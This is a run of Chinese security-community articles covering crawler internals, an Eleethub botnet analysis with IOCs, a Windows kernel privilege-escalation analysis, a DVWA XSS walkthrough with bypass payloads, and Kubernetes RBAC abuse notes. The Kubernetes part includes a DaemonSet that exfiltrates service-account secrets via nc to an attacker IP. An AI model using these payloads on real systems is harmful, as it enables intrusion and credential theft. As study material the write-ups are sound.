if ( (node.className && node.className.includes("close")) || (node.id && node.id.includes("close"))) {
continue;
}
try {
node.dispatchEvent(evt);
} catch(e) {}
}
}
})()
4.监控插入的节点，如果新增节点的href src含有JavaScript协议，则手动触发。这似乎会漏一些内联事件的触发。
(function
init_observer_sec_auto_b() {
window.dom_listener_func_sec_aut
o = function (e) {
let node = e.target;
let nodeListSrc =
node.querySelectorAll("[src]");
for (let each of
nodeListSrc) {
if (each.src) {
window.addLink(each.src, "DOM");
let attrValue =
each.getAttribute("src");
if
(attrValue.toLocaleLowerCase().st
artsWith("javascript:")) {
try {
eval(attrValue.substring(11));
}
catch {}
}
}
}
let nodeListHref =
node.querySelectorAll("[href]");
nodeListHref =
window.randArr(nodeListHref);
for (let each of
nodeListHref) {
if (each.href) {
window.addLink(each.href, "DOM");
let attrValue =
each.getAttribute("href");
if
(attrValue.toLocaleLowerCase().st
artsWith("javascript:")) {
try {
eval(attrValue.substring(11));
}
catch {}
}
}
}
};
document.addEventListener('DOMNodeInserted',
window.dom_listener_func_sec_auto, true); document.addEventListener('DOMSubtreeModified',
window.dom_listener_func_sec_auto, true); document.addEventListener('DOMNodeInsertedIntoDocument', window.dom_listener_func_sec_auto, true);
document.addEventListener('DOMAttrModified',
window.dom_listener_func_sec_auto, true);
})()`
## 窗口阻塞处理
crawler处理了 alert()/prompt() 基础认证等等的阻塞。
chromedp.ListenTarget(*tab.Ctx, func(v interface{}) {
switch v := v.(type) {
//case *network.EventLoadingFailed:
// logger.Logger.Error("EventLoadingFailed ", v.ErrorText)
// 401 407 要求认证 此时会阻塞当前页面 需要处理解决
case *fetch.EventAuthRequired:
tab.WG.Add(1)
go tab.HandleAuthRequired(v)
// close Dialog
case *page.EventJavascriptDialogOpening:
tab.WG.Add(1)
go tab.dismissDialog()
}
})
但是还有 打印 和 文件上传窗口可能阻塞窗口
打印事件可以hook函数，文件上传窗口可以用`Page.setInterceptFileChooserDialog`过滤。
## End
一些还可以优化的部分，表单填充可以识别参数长度`max-length`、`min-length`
从Crawlergo的设计和源码中能提取出很多东西来,
* 基于网页结构的大量网页快速相似匹配，如果能集成到那些网络空间引擎中应该会很好玩，但似乎还没有一家做过。
有了原生的动态爬虫支持，对自动化漏扫也有了更多的想法，例如通过hook一些触发函数，污点检测来检测dom
xss，爬虫的原始请求包可以直接推到w13scan中。有了自动化爬虫，后续所有流量都可以存储一份，直接用搜索语法来找到相同参数的页面进行poc测试等等。。
作者的代码风格太不go了，想重写一份了。
## 参考
* <https://www.anquanke.com/post/id/178339#h2-17>
* <https://xz.aliyun.com/t/7064#toc-11>
* * * | 社区文章 |
**原文：[Eleethub: A Cryptocurrency Mining Botnet with Rootkit for Self-Hiding](https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/
"Eleethub: A Cryptocurrency Mining Botnet with Rootkit for Self-Hiding")
译者：知道创宇404实验室翻译组**
Unit 42研究人员发现了一个新的使用Perl Shellbot的僵尸网络活动，旨在挖掘比特币，同时使用专门制作的rootkit以避免检测。
该僵尸网络传播的方式是将一个恶意的shell脚本发送到一个受攻击的设备，然后该设备下载其他脚本。在受害者设备执行下载的脚本之后，它开始等待来自其命令和控制(C2)服务器的命令。尽管Perl编程语言因其广泛的兼容性而在恶意软件中流行，但这种僵尸网络不仅可能影响基于unix的系统，还可能影响使用Linux子系统的Windows
10系统。
本次发现的新活动使用了一个名为libprocesshider.so的共享库来隐藏挖掘过程，并且用一个专门制作的rootkit来避免检测。该恶意活动幕后者使用“Los
Zetas”这个名字，暗指一个墨西哥犯罪组织，该组织被认为是该国最危险的贩毒集团之一。尽管如此，他们实际上不太可能是这个犯罪组织的一部分。此外，这个僵尸网络还连接到最大的IRC(Internet中继聊天)网络之一的UnderNet，讨论了包括恶意软件和网络犯罪在内的各种主题。
而且，僵尸网络在被发现时仍在开发中。但是，重要的是在攻击者危害更多设备之前阻止它。我们观察到，僵尸网络越来越多地使用xmrig和emech等已知的挖掘工具，在受害设备上挖掘比特币。这些工具已经在最近的挖矿活动中被检测到，例如VictoryGate和Monero
mining开采了超过6000美元的利润。我们估计，如果Eleethub僵尸网络在一到两年的时间内扩张，它也可以赚取数千美元。
### Shell脚本释放器
受到攻击的设备会下载一个恶意的shell脚本，其中包含用于下载僵尸网络片段并创建目录以将下载的文件复制到其中的命令。接下来，设备执行下载的文件(procps.h,
ps, setup, m)以开始与IRC服务器通信。此外，它还下载并实现了一个名为libprocesshider.so的库(图1)，稍后对此进行说明。
图1 下载的文件
### 使用Rootkit隐藏挖矿过程
这个僵尸网络将隐藏挖掘任务提升到了一个新的水平。首先，它重用了众所周知的开源进程隐藏[库](https://github.com/gianlucaborello/libprocesshider
"库")libprocesshider，用LD_PRELOAD隐藏挖掘进程(图2)，这种技术已经在过去的几个货币挖矿活动中使用过，比如Unit
42在2019年发现的Rocke group。
图2 x.sh
此外，攻击者使用一种专门设计的rootkit来隐藏挖掘操作，以避免在ps (process
status)命令中被发现。具体来说，该恶意软件用一个精心制作的工具取代了原来的ps工具，调用真实的ps(图3)，但是过滤掉了挖掘过程xmrig和emech，以及ps结果中的敏感关键字，如proc、netstats和tops(图4)。通过删除这些关键字，挖掘漏洞利用程序就可以隐藏自己，免受反病毒监控，并避免被其他竞争对手杀死(例如[Outlaw)](https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-updates-kit-to-kill-older-miner-versions-targets-more-systems/ "Outlaw\)")，这些对手通常会扫描正在运行的进程，以发现是否有其他矿工的存在。
图3 安装rootkit
图4 隐藏进程
### 连接到僵尸网络
一旦受感染的设备下载了rootkit中的所有文件(图5)并开始运行恶意脚本，它将通过发送一个指定的昵称连接到IRC服务器，该昵称以dark开头，后面跟着一个介于0到8999之间的随机整数(图6)。
图5 安装rootkit
图6 为受感染的设备分配一个昵称
初始PING之后是单词LAG +当前epoch时间(图7)。
图7 将第一个PING发送到IRC服务器
此外，它还包含与底层IRC服务器通信的脚本(图8)。
图8 将PING命令发送到IRC Undernet服务器
因为僵尸网络在我们发现它的时候还没准备就绪，我们无法从IRC服务器接收任何命令。然而，我们能够手动连接到IRC服务器并探索可用的频道。我们发现，幸运的是，矿工频道只有一些招募者或僵尸(图9和10)。
图9 手动找到的频道
图10 僵尸网络中的僵尸
后来，受感染的设备可能开始接收命令以发送攻击，例如UDP泛洪、TCP泛洪、端口扫描和HTTP攻击（图11）。
图11 可用的攻击
### Eleethub中的Los Zetas
与C2服务器关联的域名是eleethub[.]com。我们访问了该网站，并发现了一条宣布即将到来的消息，可能是他们正在准备的僵尸网络（图12）。
图12 访问eleethub[.]com
此外，IRC服务器打印了带有该域名的banner(MOTD)(图13)。
图13 每日消息
在组成僵尸网络的恶意脚本中，“Los
Zetas”一词被多次提及。最值得注意的是在rootkit主目录中、在安装文件中(图14)，以及僵尸网络操作者`undead[@]los[.]zetas[.]mx`(图15)中。“Los
Zetas”指的是墨西哥的一个犯罪组织，被认为是该国最危险的贩毒集团之一。然而，攻击者不太可能真的是这个犯罪组织的一部分。
图14 安装文件中的“Los Zetas”
图15 与los[.]zetas[.]mx相关的用户
### 结论
新的基于Perl
shell的僵尸网络使用libprocesshider.so等库来隐藏挖掘活动。此外，攻击者使用一种专门设计的rootkit来隐藏挖掘操作。
Perl编程语言在恶意软件中很流行，因为它广泛兼容于许多基于unix的系统，比如Linux服务器、pc甚至物联网设备。Perl是一种脚本语言，不需要针对每个不同的CPU架构或固件版本进行编译。使用Perl脚本的另一个好处是可以轻松实现各种库。这类僵尸网络利用受感染设备的计算能力来执行各种任务，如挖矿和发起DDoS攻击。
### IOCs：
样本：
7ed8fc4ad8014da327278b6afc26a2b4d4c8326a681be2d2b33fb2386eade3c6
dbef55cc0e62e690f9afedfdbcfebd04c31c1dcc456f89a44acd516e187e8ef6
d9001aa2d7456db3e77b676f5d265b4300aaef2d34c47399975a4f1a8f0412e4
14c351d76c4e1866bca30d65e0538d94df19b0b3927437bda653b7a73bd36358
6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b
C2 服务器：
eleethub[.]com
irc.eleethub[.]com
ghost.eleethub[.]com
62.210.119[.]142
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=62.210.119.142
"ZoomEye搜索结果"))
82.76.255[.]62([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=82.76.255.62
"ZoomEye搜索结果"))
服务器中发现的公钥：
ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAQEAiF+LxAh219ufrvy9Pe1ujDZrIfLBtNlRVojyol/e/G
PUNn+S/k78WaEgqsAXSdpLagCly2FxxZ6JWQx4f4js7DngLm3HWAyX3orlmMljmj60OmMDXPeWDfm3EMul/aVMUUfzXdriAWmHCIKdFrnal/MZhzgQ1evEPLFraKcvqkQrrcQTmsyKdE
fRm4coFgGaIi938ehd1IMdNdeEgyFfRZoEkd7PNVGtTLNtIcwkMF4XHZuS4WQvC95M5yga
rrqB5PNTOS2oTOU36m3rXWFOhQ7N/NX4W+uLMExOWecHr4XIV3qzkeSu5wBoD0Vqi3wUvm
9a+lJFFqnQ8w0ZX4J1mQ==
ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAQEAiF+LxAh219ufrvy9Pe1ujDZrIfLBtNlRVojyol/e/G
PUNn+S/k78WaEgqsAXSdpLagCly2FxxZ6JWQx4f4js7DngLm3HWAyX3orlmMljmj60OmMD
XPeWDfm3EMul/aVMUUfzXdriAWmHCIKdFrnal/MZhzgQ1evEPLFraKcvqkQrrcQTmsyKdE
fRm4coFgGaIi938ehd1IMdNdeEgyFfRZoEkd7PNVGtTLNtIcwkMF4XHZuS4WQvC95M5yga
rrqB5PNTOS2oTOU36m3rXWFOhQ7N/NX4W+uLMExOWecHr4XIV3qzkeSu5wBoD0Vqi3wUvm
9a+lJFFqnQ8w0ZX4J1mQ==
* * * | 社区文章 |
# 【技术分享】CVE-XX-XX：“Atom截胡”Windows内核提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
******作者：PlayBoy23333**
**稿费：500RMB** （不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**a) 简介**
前几天上网鬼混的时候发现了Rookitsmm的Github上分享的一个提权漏洞Poc：
Poc下载地址：<https://github.com/Rootkitsmm/CVEXX-XX>
Rookitsmm的说明中描述了漏洞触发的位置，可以达到任意地址减一的效果，最初见到崩溃地址的时候还以为是CVE-2015-2360，不过翻了翻提供的Poc并未发现有与2360相关的东西，遂动手简单分析了下，如果分析过程存在问题，欢迎联系我的邮箱交流指正（回复时间可能较晚请见谅）。
**b) 成因**
****
搭建Windbg+纯净Win7x32虚拟机调试环境，执行编译后的Poc程序（poc中注释了申请0页内存的函数，分析漏洞成因时可以保留注释，待分析漏洞利用时取消注释），触发内存访问异常：
下面查看win32k.sys中esi寄存器值的来源为*(edi+0xb0)：
继续查看edi寄存器的来源：
可以看出edi寄存器的值来自xxxCreateWindowEx的返回值，该返回值一般是指向一个tagWND结构体的指针，在32位Win7系统下tagWND结构体的大小为0xb0，但是此处的xxxCreateWindowEx是由xxxTrackPopupMenuEx函数调用，通过对xxxTrackPopupMenuEx调用xxxCreateWindowEx函数创建窗体过程的分析，在xxxTrackPopupMenuEx函数中调用xxxCreateWindowEx的返回值实际是tagMENUWND结构体指针（tagMENUWND包含tagWND和一个4字节的tagPOPUPMENU指针，但是tagMENUWND这个结构的符号本身没有导出），所以xxxTrackPopupMenuEx调用的xxxCreateWindowEx正常情况下会为窗体分配0xb4字节空间，再回头看系统崩溃的原因是因为访问tagWND结构0xb0之后四字节的数据(即*(edi+0xb0))，据此判断是xxxCreateWindowEx中出现的问题。
通过对xxxCreateWindowEx函数进行分析，找到HMAllocObject申请空间的代码：
UlongAdd函数实现其实是一个简单的相加，第一个参数为0xb0，正是一个tagWND结构的大小：
正常情况下UlongAdd函数会将tagWND结构的大小加上另一个值再申请内存空间，通过对v23变量的来源进行分析，这部分的简略流程为通过UserFindAtom函数找到需要注册窗体的窗体类对应的Atom值v21，再通过GetClassPtr函数找到该Atom对应的窗体类tagCLS结构体指针的指针v22，最终得到窗体的tagCLS结构体指针v23，根据该结构创建并初始化窗体，所以v23+0x60实际对应窗体类tagCLS的cbwndExtra成员：
对调用GetClassPtr函数处后一条指令下断，并对比正常程序创建弹出菜单时调用GetClassPtr函数的返回值可以很容易确定poc程序GetClassPtr函数返回值存在的问题。正常程序（左）及Poc程序（右）：
poc中xxxCreateWindowEx调用GetClassPtr并未得到正确的tagCLS结构体指针的指针（说着好绕…），导致cbwndExtra成员值为0，
经分析该错误指针来源，该指针实际指向poc程序中事先注册的窗体类（THIS_CLASSNAME为poc中的宏定义"#32768"）：
注意poc程序注册窗体类的过程中设置的lpszClassName，其值#32768是和正常程序调用xxxTrackPopupMenuEx创建窗体时注册的类名是相同的（参考对比图），这个类名#32768在被程序添加到Atom
Table的时候，因为32768小于0xBFFF，实际添加到Atom
Table的是其十六进制值0x8000，看到这里大家应该就可以猜到这个漏洞的触发关键之处，主要在于注册窗体类名#32768混淆GetClassPtr函数，在xxxCreateWindowEx根据Atom值调用GetClassPtr函数查询菜单窗体类时，实际返回的是poc程序中注册#32768类名对应的tagCLS结构体指针的指针，除此之外poc程序中还设置了cbwndExtra成员为0，这个值一般默认也是初始化为0的，这也就能解释xxxTrackPopupMenuEx创建窗体的时候并未申请0xb4字节的成因，正常程序在xxxTrackPopupMenuEx创建窗口的过程中cbwndExtra成员值为0x4，为窗体申请空间的时候会先调用UlongAdd函数将该值与tagWND的0xb0大小相加，申请完毕之后再对这0x4字节进行菜单相关的初始化工作，poc程序中设置该值为0，并且在GetClassPtr函数时将本来正常返回的菜单窗体类截胡了，返回的值实际是poc程序中RegisterClassEx注册的窗体类，最终造成崩溃位置处指令对0xb0后四字节的内存访问异常。
到了这里就还剩最后一个问题：GetClassPtr函数为什么会被poc程序中设置的类名#32768混淆，返回错误的指针，我们来看一看GetClassPtr函数的实现过程：
GetClassPtr函数的第一个参数a1为上文提到的UserFindAtom函数返回值Atom变量v21，数值等于0x8000，在调用GetClassPtr函数时程序中存在poc程序通过RegisterClassEx注册的和xxxTrackPopupMenuEx函数注册的两个Atom值等于0x8000的窗体类，
GetClassPtr第一次调用_InnerGetClassPtr函数后是在pclsPrivateList中搜索，返回的是poc程序通过RegisterClassEx的tagCLS结构体指针的指针：
这里我们修改_InnerGetClassPtr返回值为0，让程序继续进行第二次调用_InnerGetClassPtr函数，即在pclsPublicList列表中搜索，返回值则是正确的tagCLS结构指针的指针：
至此可以确认漏洞成因是根据GetClassPtr函数搜索窗体结构列表的顺序不同，在第一次执行_InnerGetClassPtr函数的时候抢先将poc中RegisterClassEx注册的tagCLS结构体指针的指针返回，最终导致后续调用HMAllocObject申请内存时少了四字节空间，造成内存越界访问。
**c) 利用**
虽然现在已经触发内存越界访问，但是创建窗体时申请的0xb0字节内存区域后四字节并不受控制，比较幸运的一点是RtlAllocateHeap申请这0xb0字节时还会对该区域后四字节进行一些赋值修改，最终这四字节的值一般稳定在0x100以下（0x100是我这边测试的结果，下图中ax寄存器的值一般比较小）：
poc中使用申请0页内存完成对低地址的占位，进而达到控制执行流程到任意地址减1效果（xxxTrackPopupMenuEx->HMAssignmentLock->HMUnlockObject）。
xxxTrackPopupMenuEx：
HMAssignmentLock：
HMUnlockObject：
到了这一步就很好利用了，可以仿照CVE-2015-2360的做法，通过多次任意地址减，将窗体的bServerSideWindowProc标志置一即可。
**d) 总结**
这个洞的成因还是很有意思的，Poc的作者Rootkitsmm最后也提到微软补丁用safe_cast_fnid_to_pMENUWND函数检查xxxCreateWindowEx的返回值，我们来看一下这个函数的实现：
上文中正常程序和poc的tagCLS结构对比图里也圈了下fnid成员，在创建窗体时tagMENUWND结构体中该值不会被更改，所以虽然我们还能继续用我们自己注册的Atom截胡，但是无法修改fnid成员的值也就无法通过这个函数检查，后面的漏洞利用过程就失效了，至于还存不存在其它可能劫持Atom
Table的搜索过程，返回伪造的tagCLS等结构，就需要更多时间去继续挖掘了。 | 社区文章 |
# 9.XSS(Reflected)
## 1.XSS(Reflected)(Low)
相关代码分析
代码直接引用了name参数，并没有任何的过滤与检查，存在明显的XSS漏洞。
输入payload:`<script>alert(/xss/)</script>`，成功弹框：
## 2.XSS(Reflected)(Medium)
相关代码分析
这里对输入进行了过滤，基于黑名单的思想，使用str_replace函数将输入中的`<script>`删除，这种防护机制是可以被轻松绕过的。
1.双写绕过
输入`<sc<script>ript>alert(/xss/)</script>`，成功弹框：
2.大小写混淆绕过
输入`<ScRipt>alert(/xss/)</script>`，成功弹框：
3.使用不带script标签的payload，鼠标移动到图片，触发弹窗
<img src=x onmouseover="alert(/xss/)">
## 3.XSS(Reflected)(High)
相关代码分析
High级别的代码同样使用黑名单过滤输入，preg_replace()
函数用于正则表达式的搜索和替换，这使得双写绕过、大小写混淆绕过（正则表达式中i表示不区分大小写）不再有效。
漏洞利用
虽然无法使用`<script>`标签注入XSS代码，但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
输入`<img src=1 onerror=alert(/xss/)>`，成功弹框：
## 4.XSS(Reflected)(Impossible)
相关代码分析
可以看到，Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML
实体，防止浏览器将其作为HTML元素。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
博客:
<https://rdyx0.github.io/> | 社区文章 |
在K8s中RBAC是常用的授权模式，如果在配置RBAC时分配了“过大”资源对象访问权限可导致权限滥用来提权，以至于攻击者扩大战果，渗透集群。
如下是一些RBAC相关的笔记。
# k8s的RBAC
`RBAC` \- 基于角色的访问控制。
`RBAC`使用`rbac.authorization.k8s.io` API Group 来实现授权决策，允许管理员通过 Kubernetes API
动态配置策略，要启用`RBAC`，需要在 apiserver 中添加参数`--authorization-mode=RBAC`，如果使用的`kubeadm`安装的集群，1.6 版本以上的都默认开启了`RBAC`:
`cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode"`
## RBAC相关对象
K8s所有的资源对象都是模型化的API对象，允许执行CRUD，RBAC也有相关API对象，像Role、ClusterRole对象都是K8s内部的 API
资源，可以使用`kubectl`相关的命令来进行操作：
* `Role` 和 `ClusterRole`：角色和集群角色，这两个对象都包含上面的 Rules 元素，二者的区别在于，在 Role 中，定义的规则只适用于单个命名空间，也就是和 namespace 关联的，而 ClusterRole 是集群范围内的，因此定义的规则不受命名空间的约束。
* `RoleBinding` 和 `ClusterRoleBinding`：角色绑定和集群角色绑定，简单来说就是把声明的 Subject 和我们的 Role 进行绑定的过程(给某个用户绑定上操作的权限)，二者的区别也是作用范围的区别：RoleBinding 只会影响到当前 namespace 下面的资源操作权限，而 ClusterRoleBinding 会影响到所有的 namespace。
举一些RBAC使用的例子。
## 创建一个只能访问固定namespace的的`hx`用户
### 1.新创建一个用户凭证
给hx用户创建一个私钥：
`openssl genrsa -out hx.key 2048`
再使用这个私钥创建一个`证书签名请求文件`,`-subj`参数后是用户名和组(CN表示用户名，O表示组)：
`openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"`
然后再使用K8s的CA证书来批准上面的证书请求：
这时候证书文件生成成功：
$ ls h* ─╯
hx.crt hx.csr hx.key
现在使用创建的证书和私钥来在集群中创建新的凭证和上下文(Context):
`sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key`
为hx用户设置新的 Context:
$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx ─╯
Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: hx-role
namespace: kube-system
rules:
- apiGroups: ["", "extensions", "apps"]
resources: ["deployments", "replicasets", "pods"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']
其中几个重要的字段：
* `apiGroups`：其中的`apiGroups: ["", "extensions", "apps"]`为什么这么写？是因为通过<https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/>文档查询得知，`Pod`属于 core API Group(为空即可)，`Deployment`属于 apps API Group，`ReplicaSets`属于`extensions`API Group。
* `verbs`:可以对这些资源对象执行的操作,如果是所有操作就用*代替。
创建hx-role这个Role：
### 2.创建角色权限绑定
将hx用户和这个role绑定起来：
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: hx-rolebinding
namespace: kube-system
subjects:
- kind: User
name: hx
apiGroup: ""
roleRef:
kind: Role
name: hx-role
apiGroup: ""
`Subject`字段是主题，对应在集群中尝试操作的对象，集群中定义了3种类型的主题资源：
* User Account：用户，这是有外部独立服务进行管理的，管理员进行私钥的分配，用户可以使用 KeyStone或者 Goolge 帐号，甚至一个用户名和密码的文件列表也可以。对于用户的管理集群内部没有一个关联的资源对象，所以用户不能通过集群内部的 API 来进行管理
* Group：组，这是用来关联多个账户的，集群中有一些默认创建的组，比如cluster-admin
* Service Account：服务帐号，通过`Kubernetes` API 来管理的一些用户帐号，和 namespace 进行关联的，适用于集群内部运行的应用程序，需要通过 API 来完成权限认证，所以在集群内部进行权限操作，我们都需要使用到 ServiceAccount，这也是我们这节课的重点
现在使用hx用户来操作集群资源,这个时候不需要指定`namespace`，因为已经给用户分配了权限：
`sudo kubectl get pods --context=hx-context`
## 创建一个只能访问固定namespace的的`hx-sa`的ServiceAccount
`Subject`字段还可以是ServiceAccount，对ServiceAccount来进行角色绑定。
### 1.创建一个ServiceAccount对象
`sudo kubectl create sa hx-sa -n kube-system`
### 2.创建角色
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: hx-sa-role
namespace: kube-system
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "watch", "list"]
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
### 3.创建角色绑定
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: hx-sa-rolebinding
namespace: kube-system
subjects:
- kind: ServiceAccount
name: hx-sa
namespace: kube-system
roleRef:
kind: Role
name: hx-sa-role
apiGroup: rbac.authorization.k8s.io
这时候可以使用sa账户的token去访问apiserver的资源了：
sudo kubectl get secret -n kube-system |grep hx-sa
sudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d
## 创建ClusterRoleBinding
如果需要创建一个可以访问所有namespace的角色，就可以使用ClusterRole 和 ClusterRoleBinding 这两种资源对象了。
sa：
apiVersion: v1
kind: ServiceAccount
metadata:
name: hx-sa2
namespace: kube-system
ClusterRoleBinding 对象:
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: hx-sa2-clusterrolebinding
subjects:
- kind: ServiceAccount
name: hx-sa2
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
这里是直接使用的cluster-admin 这个对象（`Kubernetes`集群内置的 ClusterRole
对象）而不是单独新建的ClusterRole对象。内置的集群角色和集群角色绑定都可以查看
kubectl get clusterrole
kubectl get clusterrolebinding
# RBAC权限滥用提权
权限滥用主要在对特定资源有特定操作的情况下，可以有特定的权限提升。
对哪里资源有哪些操作权限通过上面已经说了，看rules的字段内容即可，配置`resources`和`verbs`都为*那不用说，所有资源都可以进行任意操作。
## 枚举当前RBAC权限
在指定当前通过渗透得到用户凭据或者sa的凭据后，可以先枚举当前有哪些权限：
[upl-
也可以使用curl对apiserver的api进行访问来区别当前的权限:
枚举之后应该对当前凭据对资源的操作有个数了，下面列举在分配权限时，哪些情况下有提权提升的可能。
## create pods权限
`resources: ["*"] verbs:
["create"]`：`resources`为*或者为`pods`的情况下，verbs是`create`，在集群中可以创建任意资源，比如像pods，roles.而创建pods的命名空间也取决你role中metadata.namespace的值：
如果有create权限，常见攻击手法就是创建挂载根目录的pod，跳到node：
## list secrets权限
`resources: ["*"] verbs:
["list"]`：`resources`为*或者为`secrets`的情况下，verbs是`list`,在集群中可以列出其他user的secrets，一般拿来寻找特权账号凭据。
具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets，包括管理的keys(JWT):
利用：
`curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/`
## get secret权限
`resources: ["*"] verbs: ["get"]`:
`resources`为*或者为`secrets`的情况下，verbs是`get`，get可以在集群中获得其他service
accounts的secrets。
如下定义Role的resources字段为*或者secrets对象，并且verbs为get，这时候有权限获得其他secrets。
get权限能访问的api：
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
但是get和list不一样，get需要知道secrets的id才能读：
图出处：list和get来窃取凭据的区别：<https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa:
对应的token:
kubectl -n kube-system get secret -n kube-system
可以看到每个sa的token都是sa的`name-token-随机五个字符`,
其中随机的字符是由数字和字母组合，特定的27个字符：
<https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183：#>
27的5次方也是14,348,907可能，写个py脚本的迭代器爆破即可：
## get list watch secrets权限
`resources: ["*"] verbs:
["get","list","watch"]`:resources字段为*或者secrets的话可以利用这三个权限，来创建一个恶意pod后通过挂载secrets以至获取别人的secrets，然后外带：
这里使用`automountServiceAccountToken`将特权服务帐户的令牌挂载到
pod，使用令牌获取拿到所有secrets后用nc传到攻击者监听端口，当前也可以使用其他方式带外：
图出处，创建一个"hot pod"来窃取凭据：<https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
## Impersonate权限
用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如，管理员可以使用此功能通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。
以下 HTTP 标头可用于执行模拟请求：
* `Impersonate-User`：要充当的用户名。
* `Impersonate-Group`：要充当的组名。可以多次提供设置多个组。可选的。需要“模拟用户”。
* `Impersonate-Extra-( extra name )`：用于将额外字段与用户关联的动态标题。可选的。需要“模拟用户”。
* `Impersonate-Uid`：代表被模拟用户的唯一标识符。可选的。需要“模拟用户”。Kubernetes 对此字符串没有任何格式要求。
有了`Impersonate`权限攻击者可以模拟一个有特权的账户或者组：
Role:
binding:
模拟用户的操作是通过调用K8s API 的Header来指定的，kubectl可以加入--as参数：
kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...
请求apiserver:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
## 其他API资源对象的create权限滥用
如果当前Role的权限，是其他API对象的创建，比如`Deployment, Daemonsets, Statefulsets,
Replicationcontrollers, Replicasets,
Jobs，Cronjobs`等，都是可以进行创建然后在containers.args字段加入执行的e恶意命令：
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
其他创建pod的方法具体可以查看pod-templates：<https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates>
## Bind权限
用有`bind`权限 **允许用户将高角色绑定到当前已经被控制的帐户** 导致权限提权。
下面的ClusterRole使用了bind权限，允许用户创建一个与管理ClusterRole(默认的高特权角色)的RoleBinding，并添加任何用户，包括自己，到这个管理ClusterRole：
**那么就有可能创造出恶意角色binging** ，它将管理员角色绑定到现在已经被控制的帐户:
使用kubectl指定token或者curl到apiserver来完成绑定：
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
然后当前账户就是高权限角色，自然可以列出secret等:
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
本文首发于火线Zone：<https://zone.huoxian.cn/?sort=newest>
作者：今天R了吗 | 社区文章 |
原文：
<https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b>
Cobalt Strike最有用的功能之一就是可以修改Beacon
payload的行为。通过修改框架内的各种默认值，操作者可以修改Beacon的内存占用，更改其检入的频率，甚至可以修改
Beacon的网络流量。所有这些功能都是由Malleable C2配置文件控制，该配置文件在启动团队服务器时选择。
